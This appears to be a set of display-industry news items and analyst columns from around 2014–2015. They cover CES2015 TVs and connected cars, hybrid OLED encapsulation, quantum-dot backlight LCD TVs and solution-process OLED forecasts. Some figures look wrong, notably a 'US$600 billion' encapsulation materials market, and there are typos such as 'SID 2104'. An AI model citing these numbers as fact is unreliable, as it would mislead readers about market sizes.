At this CES2015, LG Electrons mobilized every technology available for LCD TV to go after OLED TV. The LCD TV came close to OLED TV with a curved design despite the color reproducibility, viewing angle, thickness and getting thicker. In particular, the contrast range has enhanced to such a degree that it is indistinguishable with OLED TV if no explanation is provided. But after all, LCD is LCD and OLED is OLED. It might imitate but cannot be the same.

The opportunity for LCD TV to transform once again by the emergence of OLED TV will go down in history of TV as an example of proper competition.

Why Hybrid Encapsulation?

The latest trends in the display market can be represented with the keywords such as flexible, large panel and high resolution. And companies are releasing the products applying a flexible AMOLED panel like Galaxy Note Edge, Galaxy Gear S, and G Watch R and high-resolution products applying a large area panel such as UHD curved 65- and 77- inch in the AMOLED market. For Flexible AMOLED panel, foldable and rollable features are required whereas the resolution over UHD level and the brightness at least 500nit are required for a large area AMOLED panel.

 

There still are many issues to be resolved to mass-produce a flexible AMOLED panel and a large area AMOLED panel with the resolution above UHD level. Especially the encapsulation is a technology deemed to transform as the OLED manufacturing technology changes and it is a very critical area for it is the last process determining the panel yield rate.

Encapsulation is essential process to prevent emitting and electrode materials from being oxidized as it blocks moisture and oxygen flowing in from the outside of OLED element, and protects elements from mechanical and physical impacts from outside.

According to the “OLED Encapsulation Report” issued by the UBI Research on the 5th, the key encapsulation technology applicable for every application is expected to be the hybrid encapsulation.

The Hybrid Encapsulation structured with a thin-film passivation, a cover plate with a gas barrier property, and polymer to adhere a thin-film passivation and cover plate in two applications ? the ‘Dam & Fill’ uses polymer in liquid form while the ‘Film Laminating’ uses it as processed in film form.

14210212719

The frit glass method which is employed in the rigid AMOLED for a mobile device currently on sale is a perfect encapsulation method but it is hard to be applied to a large panel and flexible AMOLED. The TFE (Thin Film Encapsulation) technology which is applied to some flexible AMOLED is also inapplicable for a large panel due to the complicated process of forming a multilayer thin film, the occurrence of particle, and the problem of film uniformity.

 

However, the hybrid encapsulation is valid for both a large panel and flexible OLEDs with the advantage that the number of process is less than that of TFE. UBI research analyzed that the hybrid encapsulation using a transparent gas barrier can be applied to a rigid AMOLED panel for a mobile device for the benefits of preventing breaks and reducing thickness.

 

As the hybrid encapsulation is applied in a large area OLED and flexible OLED panels which is to be the core of future OLED industry, UBI Research prospected the main material market for hybrid encapsulation to form US$600 billion in 2015 and to show CAGR of 74% between 2015-2020. The primary materials applied in the hybrid encapsulation are organic materials, metal foil and transparent gas barrier.

[CES2015] Keyword for this event is “connectivity”

With only two more days left, CES 2015’s biggest concern can be characterized in one word “connectivity”” Until now, CES welcomed visitors with thousands of booths presenting a wide variety of electronics commensurate with the reputation of the event as the best electronics show in the world. The space connecting Samsung Electronics, LG Electronics, Sony, and Panasonic was the largest area occupying the event, devoted to hardware such as audio, cellphone, etc. besides TV. For ten years, the exhibited functions were of connecting a home from outside using a smart TV with internet and two-way communication but the recent trend introduces functions controlling appliances at home with individual cellphones from outside. Add to this the development of ‘Internet of Things’ as a key technology magnified the issue of the “connective technology” at this CES.

The most outstanding feature of CES2015 is the participation of renowned automobile companies, showing off numerous spectacles as combining an electronics exhibition with automobile exhibition. It is because an automobile from a mechanical perspective of opening doors and starting a car before driving, and controlling a handle, gear and pedals while driving has evolved to the extent of becoming an electronics with the explosion of connected functions as applying various components used in electronics including the Internet of Things technology, HUD, touch screen, sensor, etc. and automation function such as software technology, unmanned driving system, etc. The biggest influence on converting a car into an electronics is the “connective technology”, linking a hu     man and a car.

Benz presented the future concept car F015, demonstrating how a car will be used in the future society while Audi enabled touch controlling of an automobile system and Hyundai revealed the unmanned driving system as well as the technology of automatically controlling a car through a sensor as display on the HUD (head-up-display) in real time of the diverse road environments expected to encounter while driving.

150109_CES2015 이번 행사의 key word는 “connective”

150109_CES2015 이번 행사의 key word는 “connective”_2

150109_CES2015 이번 행사의 key word는 “connective”_3

150109_CES2015 이번 행사의 key word는 “connective”_4

The world of automobile has improved to such a degree to connect a smart device like a smartphone and smart watch to start a car without a key. Of course these smart devices are already developing the embedded health care function of measuring HR (heart rate).

150109_CES2015 이번 행사의 key word는 “connective”_5

This CES 2015 proves the realization of a new world of in our lives connecting a smartphone, a wearable device, an automobile, and others focused on a human.

150109_CES2015 이번 행사의 key word는 “connective”_6

 

 

[Analyst Column] Watch issued for the promotion of QD-LED BLU LCD TV

Lately, the media, research institutes and stock firms are scrambling to release data on the marketability of QD-LCD TV which is the LCD TV applying the QD (quantum dot) materials to the LED backlight. In the strict sense, it is not a LCD technology but a backlight technology. The QD-LCD BLU (backlight unit) can be divided into the three types; one is applying the QD material directly to the LED chip, another is arranging it in front of the LED chip; and lastly it is placing it in between LCD and Light Guide Plate after filming by inserting the QD materials to the barrier film.

141224_QD-LED BLU LCD TV 띄우기 주의보

Source: Wikimedia,

http://commons.wikimedia.org/wiki/File:QDEF_Exploded_Diagram.png

 

The QD-LED BLU is being recognized as a LCD TV technology that can compete with the OLED TV as it has a merit to improve the color reproducibility up to about 12 percent compared to the existing LED BLU. Until now, the LCD TV manufacturers take the notion of resolution as a major marketing means to compete with other products like PDP. And it was the same with the OLED case. However, the Apple iPhone highlighted the resolution as the biggest difference with the Galaxy S of Samsung Electronics but Samsung Electronics counter attacked with the color reproducibility as overcoming the resolution issue with the pentile technology, ranking the first in the market share. The LCD TV part, presenting the 4K and 8K TVs continuously, expected that the OLED TV won’t be able to catch up but LG Display is planning to come into the market from 2015 as developing the 4K OLED panel in the 55-inch with the oxide TFT and WRGB OLED technologies.

Given that the superiority of the OLED panel’s picture quality over that of LCD was verified through Samsung Electronics’ Galaxy S and LG Electronics’ OLED TV, the best way to defense for the companies with no available OLED TV to sell is the early release of QD-LED BLU LCD TV with the improved color reproducibility.

The products applying new technologies have been well received in the market. The problem is that promoting the QD-LED BLU LCD TV to the extent of highlighting excessively may cause the distortion of a market or capital. For instance, the domestic stock firms are indeed reporting that the QD-LED BLU LCD TV as a highly eco-friendly product with an efficient energy consumption. But it is known that the brightness of the QD-LED BLU LD TV is 30 percent less than the existing LED BLU LCD TV. If the brightness decreases, it requires more LED chip and more driving modules as well, raising the production cost. Moreover, it emits more heat in proportion to the added amount of LED chips, increasing the corresponding cost for heat dissipation.

It is expected that the application of the QD-LED BLU will be limited to the premium products as there are numerous factors causing the increase of the production cost in varied channels. Though it is true that the QD-LED BLU can provide better picture quality than the LCD TV, it must be clarified that it is not the product surpassing the LCD TV.

And the careful attention of various media in using the name ‘QD TV’ is needed in that it might confuse general customers. The QD technology is also a very fascinating and appealing technology for the OLED developers. They are already developing the OLED panel using the QD materials and the blue elements in the field of OLED panel manufacturing technology. Then, this OLED TV eventually becomes the QD TV. Accordingly, it must be noted that any reports written without the clear understanding of QD may cause a considerable social repercussion in the display market.

 

Choong-hoon Yi / Chief Analyst / UBI Research ubiyi@ubiresearch.co.kr

[Analyst Column] Solution Process OLED to be released from 2016

The possibility to mass produce AMOLED panel in RGB structure by solution process was confirmed after the appearance of the solution process 4K OLED TV by Panasonic in 2013 and as AUO unveils the 65-inch FHD AMOLED panel at SID 2104 which uses hybrid process of employing inkjet printing method and deposition method simultaneously.

According to the Solution Process OLED Report 2014 issued by the UBI Research on the 26th, it is expected to release AMOLED panel by solution process by 2016 considering the stages of the process equipment and materials developments up to now.

The solution process is producing OLED by printing the material of liquid condition. The efficiency of the material usage in case of the existing RGB deposition method is as low as about 10%, requiring complicated processes and it is difficult to apply to the large area substrate.

The efficiency is theoretically 100% for the solution process, resulting cost saving and even the process of RGB method without cutting the substrate at the 8thgeneration line is possible.

However, there are remaining issues to be resolved as the material property is low compared to the deposition material and it is unavailable to produce high resolution panel.

The personnel from the UBI Research reported that the analysis shows the probability to produce from 8.4-inch FHD panel to 8K high resolution panel over 30 inches in RGB method for it is possible to print up to 300ppi as the printing error reduces. The present OLED panel for tablet PC has a resolution of about 262ppi because it was produced in PenTile method. Now, the large area panel as well as the RGB OLED panel for tablet PC are mass produces as a result of the solution process allowing up to 300ppi.

141127_Solution Process OLED report_ENG

[Figure : The scope of panel available for the solution peocess]

Also the property of emitting material was improved. Assumed from the analysis of properties announced so far, the efficiencies of red and green among other emitting materials for the solution process are developed close to the deposition material. Especially for the green, the small molecular material for the solution process appears to be more efficient than the polymer material for the deposition.

“Considering the development level of the material and process equipment for the solution process, the AMOLED panel produced in the solution process will be released actively from 2016, and in view of the current line conditions of panel companies, the investment ability, and technical situations, it is expected to produce the AMOLED panel for the tablet PC at first” said the personnel from the UBI Research.

In addition, the AMOLED panel market for the solution process will be the size of $380 million with the average annual growth rate of 141% by 2017 as the material for the solution process is anticipated to have the full competitiveness by the same year.

 

Yi Choong-hoon /Chief Analyst / UBI Research / ubiyi@ubiresearch.co.kr